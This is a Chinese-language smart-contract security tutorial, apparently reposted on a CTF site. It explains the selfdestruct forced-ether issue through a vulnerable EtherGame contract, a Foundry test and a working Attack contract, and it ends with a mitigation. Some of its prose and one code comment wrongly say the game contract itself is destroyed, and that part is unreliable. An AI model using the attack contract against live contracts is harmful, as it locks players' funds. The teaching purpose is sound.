智能合约漏洞入门(2) 自我毁灭漏洞

自我毁灭漏洞

描述:

EtherGame自我毁灭漏洞是智能合约代码中的一个缺陷,它允许攻击者通过使EtherGame合约自我毁灭(使用selfdestruct操作码)来破坏游戏。该漏洞源于攻击合约中的dos函数,该函数在收到大量以太币后对EtherGame合约执行自我毁灭操作。由于自我毁灭,EtherGame合约的功能被永久禁用,使得任何人都无法存款或索取获胜者的奖励。

场景:

  1. 部署EtherGame
  2. 玩家(比如Alice和Bob)决定玩游戏,各自存入1个以太币。
  3. 部署EtherGame地址的攻击合约
  4. 调用Attack.attack并发送5个以太币。这将破坏游戏,没有人可以成为获胜者。

发生了什么?

攻击将EtherGame的余额强制等于7个以太币。现在没有人可以存款,也无法设置获胜者。由于缺少或不足的访问控制,恶意方可以使合约自我毁灭。selfdestruct(address)函数从合约地址移除所有字节码,并将存储的所有以太币发送到指定地址。

缓解措施:

不要依赖this.balance来追踪存入的以太币,而是使用一个状态变量来追踪总存款金额。

EtherGame合约:

contract EtherGame {
    uint public constant targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance; // vulnerable
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

测试方式:

forge test –contracts src/test/Selfdestruct.sol -vvvv

// Test function for a scenario where selfdestruct is used.
function testSelfdestruct() public {
    // Log Alice's balance.
    console.log("Alice balance", alice.balance);
    // Log Eve'
s balance.
    console.log("Eve balance", eve.balance);

    // Log the start of Alice's deposit.
    console.log("Alice deposit 1 Ether...");
    // Set the message sender to Alice.
    vm.prank(alice);
    // Alice deposits 1 ether to the EtherGameContract.
    EtherGameContract.deposit{value: 1 ether}();

    // Log the start of Eve'
s deposit.
    console.log("Eve deposit 1 Ether...");
    // Set the message sender to Eve.
    vm.prank(eve);
    // Eve deposits 1 ether to the EtherGameContract.
    EtherGameContract.deposit{value: 1 ether}();

    // Log the balance of the EtherGameContract.
    console.log(
        "Balance of EtherGameContract",
        address(EtherGameContract).balance
    );

    // Log the start of the attack.
    console.log("Attack...");
    // Create a new instance of the Attack contract with EtherGameContract as a parameter.
    AttackerContract = new Attack(EtherGameContract);
    // Send 5 ether to the dos function of the AttackerContract.
    AttackerContract.dos{value: 5 ether}();

    // Log the new balance of the EtherGameContract after the attack.
    console.log(
        "Balance of EtherGameContract",
        address(EtherGameContract).balance
    );
    // Log the completion of the exploit.
    console.log("Exploit completed, Game is over");
    // Try to deposit 1 ether to the EtherGameContract. This call will fail as the contract has been destroyed.
    EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.
}

// Contract to attack the EtherGame contract.
contract Attack {
    // The EtherGame contract to be attacked.
    EtherGame etherGame;

    // Constructor to set the EtherGame contract.
    constructor(EtherGame _etherGame) {
        etherGame = _etherGame;
    }

    // The function to perform the attack.
    function dos() public payable {
        // Break the game by sending ether so that the game balance is >= 7 ether.

        // Cast the EtherGame contract address to a payable address.
        address payable addr = payable(address(etherGame));
        // Self-destruct the contract and send its balance to the EtherGame contract.
        selfdestruct(addr);
    }
}

红框表示利用成功

智能合约漏洞入门(2) 自我毁灭漏洞


原文始发于微信公众号(3072):智能合约漏洞入门(2) 自我毁灭漏洞

版权声明:admin 发表于 2024年5月31日 下午1:08。
转载请注明:智能合约漏洞入门(2) 自我毁灭漏洞 | CTF导航

相关文章